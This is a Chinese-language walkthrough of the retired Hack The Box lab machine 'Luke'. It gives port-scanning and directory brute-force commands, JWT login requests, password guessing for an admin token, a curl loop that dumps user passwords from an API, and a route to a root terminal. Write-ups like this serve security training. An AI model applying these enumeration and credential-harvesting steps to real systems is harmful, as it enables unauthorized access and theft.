HTB-靶机-Luke
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.137
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.137 -o ./Luke-autorecon
也可以使用官方的方法进行快速的扫描
masscan -p1-65535 10.10.10.137 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.137 或者 nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.137 nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.137
开放了21,22,80,3000,8000端口,我们一个一个端口来试试
21端口已经扫描出来可以匿名登录了, 直接匿名登录下载文件
根据上面得描述得知目标靶机有两个用户给Chihiro, Derry ,并且删除了相关的安全策略,22端口爆破我们就不试,看下80端口
访问页面正常,没发现啥东西,常规套路爆破下看看
gobuster dir -u http://10.10.10.137/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 150 s "200,204,301,302,307,403,401"
得到了重要的目录,我们访问一把
其中uri地址member,management访问需要认证,我使用上面数据库得到的密码登录但不成功,我们继续看开放的3000端口,同样使用gobuter爆破
gobuster dir -u http://10.10.10.137:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 150 s "200,204,301,302,307,403,401" 或者 wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.137:3000/FUZZ --hc 404
可确认存在uri地址login和users,分别使用burpsuite进行访问看看结果
根据上面的显示结果,是需要账号和密码进行认证的,看响应的头信息,可能使用jwt方式进行认证, 可以通过https://jwt.io/ 查看jwt的加密算法
我们试试通过jwt的提交方式构造请求猜测用户名和密码,可以使用下面两种方式构造
POST /login HTTP/1.1 Host: 10.10.10.137:3000 User-Agent: curl/7.68.0 Accept: */* Content-Type: application/json Content-Length: 41 Connection: close {"username":"luke","password":"password"} 或者 curl http://10.10.10.137:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' | jq .
上面的反馈可以知道确实就是jwt格式的方式请求认证,那么我们就使用上面访问数据库得到的账号和密码进行测试,经过不断测试,发现可以通过密码喷洒的方式尝试猜测用户名是哪个,经过猜测尝试发现admin用户是可以成功通过认证,并获取目标靶机登录成功的认证token
或者
得到认证成功的token之后直接拿着这个token访问uri地址users遍历所有用户,具体格式可以参考下面的链接得知获取到token之后可以使用下面的方式进行构造请求
https://gist.github.com/narenaryan/4d03bb4ccda5bb634a3cb5c51f5e79a7
遍历出目标靶机的用户名的密码 for user in admin derry yuri dory; do curl http://10.10.10.137:3000/users/${user} -H "authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjE3MzM0MjEyLCJleHAiOjE2MTc0MjA2MTJ9.8fATcRXrT9tMiZCigtV5dq3zK3wrdtBbdbiJuymDfQM"; echo; done {"name":"Admin","password":"WX5b7)>/rp$U)FW"} {"name":"Derry","password":"rZ86wwLvx7jUxtch"} {"name":"Yuri","password":"bet@tester87"} {"name":"Dory","password":"5y:!xa=ybfe)/QD"}
拿着上面的用户和密码去尝试登录地址:http://10.10.10.137/management
最终确认可以通过 {"name":"Derry","password":"rZ86wwLvx7jUxtch"} 能成功登录,并发现如下信息
那么根据上述信息,刚好目标靶机开放了8000端口,并且是web页面,我们使用root账号和上面的密码进行登录
成功登录并新建一个terminal
进入此terminal发现是root权限,那么可以直接读取root.txt和user.txt